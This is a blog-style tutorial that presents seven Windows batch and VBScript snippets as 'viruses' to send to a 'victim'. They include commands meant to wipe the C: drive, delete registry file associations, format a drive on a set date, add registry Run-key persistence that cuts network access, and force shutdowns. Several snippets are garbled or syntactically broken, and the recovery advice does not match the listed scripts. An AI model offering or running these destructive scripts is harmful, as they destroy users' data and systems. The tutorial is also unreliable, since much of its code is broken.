How to make a Virus in Notepad


Toady, almost each and every person use computer for their personal or Professional work. And every Computer user know that what is a virus. In this Article we will teach you, How to make a virus in notepad. But before we teach you to make a virus, We want to request you Please do not to use our information in illegal way. This information in we are providing here is only for Knowledge purpose. We are not Responsive for any kind of damage in your computer, do all this in your own risk.

A computer Virus is a malicious program or file, that enter’s into your computer without your information. It can harm some impotent files of your computer. It can steal your information, and they also can modify your system settings. Usually these viruses come with any third party software, file, or they also come from malicious websites into your computer. There are many types of a computer virus. But in this article We will teach you how to make a computer virus (Small or Basic virus ), that you can create easily.

How to make a Virus in Notepad (Computer Virus)

If you think that you have to do lot’s of hard coding to create a virus, It’s true. But you can also create some small viruses, which can be created in notepad only. Below i’m going to show you more then 10 type of viruses and teach you how to make them. Have a look at the below methods to make a virus in notepad.

Also Read about amazing Google hacks and Games you Should know

1. Virus that Deletes all content in C: Drive :-

  • First of all Open Notepad in your computer.
  • Now copy and Paste Below code into your Notepad and Save it as Virus.bat ( Or name it anything you want but add .bat at the end of your name).
@Echo off
 Del C: *.* |y

Now if anyone click on this virus, it will delete his C: drive completely, and His operating system will be corrupted.

How to make a virus in notepad - Delete Content in C: Drive
How to make a virus in notepad – Delete Content in C: Drive

2. Permanently Disable the Internet 

Paste Below Code into notepad and save it with any name following .bat extension.

echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f

Now Clicking on this file will permanently disable the victims Internet Connection.

make a computer virus
make a computer virus

3. Delete the Registry Files

Just like above steps paste below code into your notepad and save with any name .bat .

START reg delete HKCR/.exe
START reg delete HKCR/.dll
START reg delete HKCR/*

This virus will delete all the registry files for a victims pc when he clicks on it, and then he will get a message loop saying he has been hacked.

Computer Virus
Computer Virus

4. Endless Notepad

Paste below code into notepad and name it anything .bat

@ECHO off
START %SystemRoot%\system32\notepad.exe
GOTO top
Now when victim will click on this virus, it will keep opening new notepad’s in his computer.
Endless Notepad virus
Endless Notepad virus

5. Time Bomb Virus.

Till now, you may have learned about How to make a virus in Notepad, and method to make a computer virus with simple steps, But that’s not the end. There are still many viruses to make. Like this Time Bomb Virus. Follow below steps to create the bomb virus.

  • Copy Below code and Paste it into your Notepad.
  • Change the date  2009/11/25 to your target date, E: into your target drive and save it with any name .bat
If %date% NEQ 2009/11/25 goto exit
format E: /y >nul

Now if you click on this file, It will run in background, and on your target date, it will automatically delete all files inside your target drive.

Time Bomb Virus
Time Bomb Virus

6. Shutdown Virus

Copy below code, paste in your notepad, and save it with any name .bat e.g. myfile.bat

shutdown -s -t 60 -c “Virus Detection. The computer is shutting down.”

Clicking on this file will Shut your system down.

7. Cdrom Virus

Paste Below Code into notepad, But this time you have to save it with .vbs extension following any name you want.

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
End If
wscript.sleep 5000

Now If you click on this file, your Cdrom will keep opening. (Work in XP)

That’s it, Now you know that how to make a virus in notepad keep Visiting our blog fur such interesting articles. and Like our facebook page for daily updates on Tech.

Watch the Video for More Details



    • Damage by Virus Number 1 and 3 cannot be recovered..
      To revere the damage of virus 2, you need to reset your proxy settings.
      For virus 5 you can simply reboot your computer..
      To stop the effect of virus 4 and 6 you can simply run the command shutdown -a on cmd


Please enter your comment!
Please enter your name here